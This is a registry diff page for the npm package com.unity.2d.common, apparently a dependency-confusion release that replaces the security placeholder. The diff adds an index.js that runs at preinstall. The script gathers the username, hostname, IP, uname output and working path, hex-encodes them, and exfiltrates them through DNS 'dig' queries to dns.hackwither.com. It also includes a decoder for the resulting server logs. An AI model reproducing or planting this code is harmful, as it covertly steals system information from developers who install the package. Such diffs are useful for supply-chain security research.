com.unity.2d.common 0.0.1-security → 99.99.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.2d.common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +95 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,95 @@
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const dns = require('dns');
4
+
5
+ const REMOTE_DNS_LOG_SERVER = 'dns.hackwither.com'; // Replace with your DNS log server
6
+ const DNS_SERVER_IP = '18.133.128.31'; // Replace with your DNS server IP
7
+
8
+ function getIPAddress() {
9
+ const interfaces = os.networkInterfaces();
10
+ for (const iface of Object.values(interfaces)) {
11
+ for (const details of iface) {
12
+ if (!details.internal && details.family === 'IPv4') {
13
+ return details.address;
14
+ }
15
+ }
16
+ }
17
+ return 'Unknown IP';
18
+ }
19
+
20
+ function runCommandsAndSendDNS() {
21
+ const username = os.userInfo().username;
22
+ const hostname = os.hostname();
23
+ const ip = getIPAddress();
24
+ const currentPath = process.cwd();
25
+
26
+ exec("uname -a", (error, stdout, stderr) => {
27
+ if (error) {
28
+ console.error(`Command execution error: ${stderr || error.message}`);
29
+ return;
30
+ }
31
+
32
+ const systemInfo = `Username: ${username}\nHostname: ${hostname}\nIP: ${ip}\nUname: ${stdout.trim()}\nCurrent Path: ${currentPath}`;
33
+ const hexEncoded = Buffer.from(systemInfo).toString('hex');
34
+ const maxLabelLength = 63;
35
+ const chunks = hexEncoded.match(new RegExp(`.{1,${maxLabelLength}}`, 'g'));
36
+
37
+ function sendDNSQuery(chunkIndex = 0, retries = 3) {
38
+ if (chunkIndex >= chunks.length) {
39
+ console.log('All data successfully sent via DNS');
40
+ return;
41
+ }
42
+
43
+ const subdomain = `${chunks[chunkIndex]}.chunk${chunkIndex}.${REMOTE_DNS_LOG_SERVER}`;
44
+ const digCommand = `dig @${DNS_SERVER_IP} ${subdomain}`;
45
+
46
+ exec(digCommand, (err, stdout, stderr) => {
47
+ console.log(`Executing command: ${digCommand}`);
48
+ console.log(`stdout: ${stdout}`);
49
+ console.log(`stderr: ${stderr}`);
50
+ if (err && retries > 0) {
51
+ console.error(`DNS query error: ${stderr || err.message}, retrying...`);
52
+ sendDNSQuery(chunkIndex, retries - 1);
53
+ } else if (!err) {
54
+ console.log(`Chunk ${chunkIndex} successfully sent via DNS`);
55
+ sendDNSQuery(chunkIndex + 1);
56
+ } else {
57
+ console.error(`Failed to send chunk ${chunkIndex} after multiple attempts`);
58
+ }
59
+ });
60
+ }
61
+
62
+ sendDNSQuery();
63
+ });
64
+ }
65
+
66
+ function decodeHex(hexString) {
67
+ const buffer = Buffer.from(hexString, 'hex');
68
+ return buffer.toString('utf8');
69
+ }
70
+
71
+ function decodeLogs(logLines) {
72
+ const chunkRegex = /\b([0-9a-f]+)\.chunk\d+\.dns\.hackwither\.com\b/;
73
+ let decodedData = '';
74
+
75
+ logLines.forEach(line => {
76
+ const match = line.match(chunkRegex);
77
+ if (match) {
78
+ decodedData += decodeHex(match[1]);
79
+ }
80
+ });
81
+
82
+ console.log('Decoded Data:', decodedData);
83
+ }
84
+
85
+ // Run the command and send DNS queries
86
+ runCommandsAndSendDNS();
87
+
88
+ // Example usage of decodeLogs (Replace with actual log lines)
89
+ const logLines = [
90
+ "10-Feb-2025 13:17:35.718 queries: info: client @0x7b570412aa98 103.102.202.161#17174 (2f6b64662f5f5f707963616368655f5f0a2f6f70742f72682f72682d7079746.chunk850.dns.hackwither.com): query: 2f6b64662f5f5f707963616368655f5f0a2f6f70742f72682f72682d7079746.chunk850.dns.hackwither.com IN A +E(0) (172.31.29.128)",
91
+ "10-Feb-2025 13:17:35.718 queries: info: client @0x7b570412aa98 103.102.202.161#17174 (86f6e33382f726f6f742f7573722f6c6f63616c2f6c696236342f707974686f.chunk851.dns.hackwither.com): query: 86f6e33382f726f6f742f7573722f6c6f63616c2f6c696236342f707974686f.chunk851.dns.hackwither.com IN A +E(0) (172.31.29.128)",
92
+ "10-Feb-2025 13:17:35.889 queries: info: client @0x7b570412aa98 103.102.202.161#20792 (6e332e382f736974652d7061636b616765732f63727970746f6772617068792.chunk852.dns.hackwither.com): query: 6e332e382f736974652d7061636b616765732f63727970746f6772617068792.chunk852.dns.hackwither.com IN A +E(0) (172.31.29.128)",
93
+ "10-Feb-2025 13:17:36.054 queries: info: client @0x7b570412aa98 103.102.202.161#30542 (f68617a6d61742f62696e64696e67730a2f6f70742f72682f72682d70797468.chunk853.dns.hackwither.com): query: f68617a6d61742f62696e64696e67730a2f6f70742f72682f72682d70797468.chunk853.dns.hackwither.com IN A +E(0) (172.31.29.128)"
94
+ ];
95
+ decodeLogs(logLines);
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "com.unity.2d.common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.99.12",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall": "node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "com.unity.2d.common": "^99.99.10"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.2d.common for more information.